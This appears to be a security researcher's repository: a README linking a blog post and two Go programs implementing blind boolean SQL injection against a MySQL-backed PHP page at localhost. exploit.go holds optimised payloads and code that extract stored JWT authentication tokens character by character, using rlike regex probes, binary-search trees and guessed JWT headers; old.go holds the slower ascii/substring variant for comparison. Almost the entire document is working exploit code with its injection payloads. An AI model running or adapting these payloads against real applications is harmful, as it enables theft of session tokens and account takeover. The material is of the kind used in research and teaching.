├── README.md ├── exploit.go └── old.go /README.md: -------------------------------------------------------------------------------- 1 | # MySQL-Injection-Exfiltration-Optimization 2 | MySQL Injection Exfoliation Optimization 3 | 4 | http://b1twis3.ca/jwt-exfiltration-optimization-with-mysql-injection/ 5 | -------------------------------------------------------------------------------- /exploit.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "net/http" 7 | "strconv" 8 | "strings" 9 | "time" 10 | 11 | "github.com/fatih/color" 12 | ) 13 | 14 | var totalRequests int 15 | var dot = 46 16 | var dash = 45 17 | var underscore = 95 18 | 19 | func createTree(arr []int, start int, end int) []int { 20 | tmpList := []int{} 21 | 22 | if start > end { 23 | return []int{} 24 | } 25 | 26 | mid := start + (end-start)/2 27 | root := arr[mid] 28 | left := createTree(arr, start, mid-1) 29 | right := createTree(arr, mid+1, end) 30 | 31 | tmpList = append(tmpList, root) 32 | tmpList = append(tmpList, left...) 33 | tmpList = append(tmpList, right...) 34 | 35 | return tmpList 36 | } 37 | 38 | func getheader(query string) string { 39 | 40 | token := "" 41 | 42 | headers := map[string]string{ 43 | //I+I|M|U 44 | "IUzI": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.", 45 | "IUzM": "eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.", 46 | "IUzU": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.", 47 | 48 | //S+I|M|U 49 | "SUzI": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.", 50 | "SUzM": "eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.", 51 | "SUzU": "eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.", 52 | 53 | //F+I|M|U 54 | "FUzI": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.", 55 | "FUzM": "eyJhbGciOiJFUzM4NCIsInR5cCI6IkpXVCIsImtpZCI6ImlUcVhYSTB6YkFuSkNLRGFvYmZoa00xZi02ck1TcFRmeVpNUnBfMnRLSTgifQ.", 56 | "FUzU": "eyJhbGciOiJFUzUxMiIsInR5cCI6IkpXVCIsImtpZCI6InhaRGZacHJ5NFA5dlpQWnlHMmZOQlJqLTdMejVvbVZkbTd0SG9DZ1NOZlkifQ.", 57 | 58 | //Q+I|M 59 | "QUzI": "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.", 60 | "QUzM": "eyJhbGciOiJQUzM4NCIsInR5cCI6IkpXVCJ9.", 61 | } 62 | 63 | checkAlgoArray := []string{ 64 | "\"^.{11}[I]\"", 65 | "\"^.{11}[S]\"", 66 | "\"^.{11}[F]\"", 67 | "\"^.{11}[Q]\"", 68 | } 69 | checkAlgoArrayInner := []string{ 70 | "\"^.{14}[I]\"", 71 | "\"^.{14}[M]\"", 72 | "\"^.{14}[U]\"", 73 | } 74 | 75 | //Step 1, Check Header 76 | flag := checkArr(query, checkAlgoArray) 77 | Header := checkArr(query, checkAlgoArrayInner) 78 | 79 | if flag == 0 { 80 | if Header == 0 { 81 | token = headers["IUzI"] 82 | } else if Header == 1 { 83 | token = headers["IUzM"] 84 | } else if Header == 2 { 85 | token = headers["IUzU"] 86 | } 87 | } 88 | if flag == 1 { 89 | if Header == 0 { 90 | token = headers["SUzI"] 91 | } else if Header == 1 { 92 | token = headers["SUzM"] 93 | } else if Header == 2 { 94 | token = headers["SUzU"] 95 | } 96 | } 97 | if flag == 2 { 98 | if Header == 0 { 99 | token = headers["FUzI"] 100 | } else if Header == 1 { 101 | token = headers["FUzM"] 102 | } else if Header == 2 { 103 | token = headers["FUzU"] 104 | } 105 | } 106 | if flag == 3 { 107 | if Header == 0 { 108 | token = headers["QUzI"] 109 | } else if Header == 1 { 110 | token = headers["QUzM"] 111 | } 112 | } 113 | return token 114 | 115 | } 116 | 117 | func checkArr(query string, arr []string) int { 118 | mTarget := "http://localhost:8888/index.php?pid=" 119 | retchar := 0 120 | for i := 0; i < len(arr); i++ { 121 | 122 | target := mTarget + strings.Replace(query, "[check]", arr[i], -1) 123 | // start := time.Now() 124 | resp, _ := http.Get(target) 125 | bytes, _ := ioutil.ReadAll(resp.Body) 126 | stringbody := string(bytes) 127 | resp.Body.Close() 128 | totalRequests++ 129 | // elapsed := time.Since(start).Seconds() 130 | // fmt.Printf("http.Get to Target took %v seconds \n", elapsed) 131 | // if elapsed > 1 { 132 | // retchar = i 133 | // break 134 | // } 135 | if len(stringbody) > 30 { 136 | // fmt.Println(stringbody) 137 | retchar = i 138 | } 139 | } 140 | return retchar 141 | } 142 | 143 | func checkChar(query string, arr []string, it int) int { 144 | mTarget := "http://localhost:8888/index.php?pid=" 145 | retchar := 0 146 | for i := 0; i < 6; i++ { 147 | 148 | target := mTarget + strings.Replace(query, "[check]", arr[i], -1) 149 | target = strings.Replace(target, "[iterate]", strconv.Itoa(it), -1) 150 | // fmt.Println(target) 151 | // start := time.Now() 152 | resp, _ := http.Get(target) 153 | bytes, _ := ioutil.ReadAll(resp.Body) 154 | stringbody := string(bytes) 155 | resp.Body.Close() 156 | totalRequests++ 157 | // elapsed := time.Since(start).Seconds() 158 | // fmt.Printf("http.Get to Target took %v seconds \n", elapsed) 159 | // if elapsed > 1 { 160 | // retchar = i 161 | // break 162 | // } 163 | if len(stringbody) > 30 { 164 | // fmt.Println(stringbody) 165 | retchar = i 166 | } 167 | } 168 | return retchar 169 | } 170 | 171 | func getChar(query string, arr []int, it int) int { 172 | mTarget := "http://localhost:8888/index.php?pid=" 173 | retchar := 0 174 | 175 | for i := 0; i < len(arr); i++ { 176 | iterate := "\"^.{[iterate]}[" + string(arr[i]) + "]\"" 177 | target := mTarget + strings.Replace(query, "[check]", iterate, -1) 178 | target = strings.Replace(target, "[iterate]", strconv.Itoa(it), -1) 179 | // fmt.Println(target) 180 | // start := time.Now() 181 | resp, _ := http.Get(target) 182 | bytes, _ := ioutil.ReadAll(resp.Body) 183 | stringbody := string(bytes) 184 | resp.Body.Close() 185 | totalRequests++ 186 | // elapsed := time.Since(start).Seconds() 187 | // fmt.Printf("http.Get to Target took %v seconds \n", elapsed) 188 | // if elapsed > 1 { 189 | // retchar = arr[i] 190 | // // fmt.Println(string(retchar)) 191 | // break 192 | // } 193 | if len(stringbody) > 30 { 194 | // fmt.Println(stringbody) 195 | retchar = arr[i] 196 | } 197 | } 198 | return retchar 199 | } 200 | 201 | func inject(query string) int { 202 | retchar := 0 203 | for i := 32; i < 126; i++ { 204 | totalRequests++ 205 | target := "http://localhost:8888/index.php?pid=" 206 | target = target + strings.Replace(query, "[CHAR]", strconv.Itoa(i), -1) 207 | start := time.Now() 208 | resp, _ := http.Get(target) 209 | // bytes, _ := ioutil.ReadAll(resp.Body) 210 | // stringbody := string(bytes) 211 | // fmt.Println(stringbody) 212 | resp.Body.Close() 213 | elapsed := time.Since(start).Seconds() 214 | fmt.Printf("http.Get to Target took %v seconds \n", elapsed) 215 | if elapsed > 1 { 216 | retchar = i 217 | } 218 | // if len(stringbody) > 30 { 219 | // fmt.Println(stringbody) 220 | // retchar = i 221 | // } 222 | } 223 | return retchar 224 | } 225 | 226 | func main() { 227 | totalRequests = 0 228 | color.Magenta("[+] Retriving JWT Tokens.....") 229 | fmt.Print("[+] ") 230 | 231 | // payload := "1/**/AND/**/((select/**/case/**/when((/**/CAST(jwt/**/AS/**/BINARY)/**/rlike/**/[check]))/**/then/**/sleep(2)/**/else/**/null/**/end))" 232 | 233 | payload := "1/**/AND/**/(select/**/CAST(jwt/**/AS/**/BINARY)/**/rlike/**/[check])" 234 | 235 | // oldpayload := strings.Replace(payload, "[ch]", strconv.Itoa(i), -1) 236 | // newpayload := strings.Replace(payload, "[ch]", strconv.Itoa(i), -1) 237 | 238 | // getcharacter := (inject(oldpayload)) 239 | getcharacter := (getheader(payload)) 240 | 241 | // fmt.Println(getcharacter) 242 | 243 | arrNumbers := []int{} 244 | arrLowers := []int{} 245 | arrUppers := []int{} 246 | 247 | for i := 48; i <= 57; i++ { 248 | arrNumbers = append(arrNumbers, i) 249 | } 250 | for i := 97; i <= 122; i++ { 251 | arrLowers = append(arrLowers, i) 252 | } 253 | for i := 65; i <= 90; i++ { 254 | arrUppers = append(arrUppers, i) 255 | } 256 | 257 | numbersTree := createTree(arrNumbers, 0, len(arrNumbers)-1) 258 | lowerTree := createTree(arrLowers, 0, len(arrLowers)-1) 259 | upperTree := createTree(arrUppers, 0, len(arrUppers)-1) 260 | 261 | arrCase := []string{ 262 | "\"^.{[iterate]}[a-z]\"", 263 | "\"^.{[iterate]}[A-Z]\"", 264 | "\"^.{[iterate]}[0-9]\"", 265 | "\"^.{[iterate]}[-]\"", 266 | "\"^.{[iterate]}[_]\"", 267 | "\"^.{[iterate]}[.]\"", 268 | } 269 | 270 | fmt.Print(getcharacter) 271 | // fmt.Println(len(getcharacter)) 272 | 273 | for i := len(getcharacter); i < 155; i++ { 274 | k := checkChar(payload, arrCase, i) 275 | // fmt.Println(k) 276 | if k == 0 { 277 | j := getChar(payload, lowerTree, i) 278 | fmt.Printf("%c", j) 279 | } else if k == 1 { 280 | j := getChar(payload, upperTree, i) 281 | fmt.Printf("%c", j) 282 | } else if k == 2 { 283 | j := getChar(payload, numbersTree, i) 284 | fmt.Printf("%c", j) 285 | } else if k == 3 { 286 | fmt.Printf("%s", "-") 287 | } else if k == 4 { 288 | fmt.Printf("%s", "_") 289 | } else if k == 5 { 290 | fmt.Printf("%s", ".") 291 | } 292 | 293 | } 294 | 295 | color.Red("\n[+] Number of Requests: %d\n", totalRequests) 296 | fmt.Println("[+] Exfiltration Done!") 297 | 298 | } 299 | -------------------------------------------------------------------------------- /old.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "net/http" 7 | "strconv" 8 | "strings" 9 | 10 | "github.com/fatih/color" 11 | ) 12 | 13 | var totalRequests int 14 | 15 | func injecti(query string) int { 16 | retchar := 0 17 | for i := 32; i < 126; i++ { 18 | totalRequests++ 19 | target := "http://localhost:8888/index.php?pid=" 20 | target = target + strings.Replace(query, "[CHAR]", strconv.Itoa(i), -1) 21 | // fmt.Println(target) 22 | // start := time.Now() 23 | resp, _ := http.Get(target) 24 | bytes, _ := ioutil.ReadAll(resp.Body) 25 | stringbody := string(bytes) 26 | // fmt.Println(stringbody) 27 | resp.Body.Close() 28 | // elapsed := time.Since(start).Seconds() 29 | // fmt.Printf("http.Get to Target took %v seconds \n", elapsed) 30 | // if elapsed > 1 { 31 | // retchar = i 32 | // } 33 | if len(stringbody) > 30 { 34 | // fmt.Println(stringbody) 35 | retchar = i 36 | } 37 | } 38 | return retchar 39 | } 40 | func main() { 41 | color.Magenta("[+] Retriving JWT Tokens [Traditional Way].....") 42 | fmt.Print("[+] ") 43 | totalRequests = 0 44 | payload := "1/**/AND/**/(ascii(substring((select/**/jwt/**/from/**/jwts/**/),[cho],1))=[CHAR])" 45 | 46 | for i := 0; i < 155; i++ { 47 | //155: length of the Token, Could be dynamic 48 | payloadi := strings.Replace(payload, "[cho]", strconv.Itoa(i), -1) 49 | 50 | getcharacter := (injecti(payloadi)) 51 | fmt.Printf("%c", getcharacter) 52 | } 53 | 54 | color.Red("\n[+] Number of Requests: %d\n", totalRequests) 55 | fmt.Println("[+] Exfiltration Done!") 56 | 57 | } 58 | --------------------------------------------------------------------------------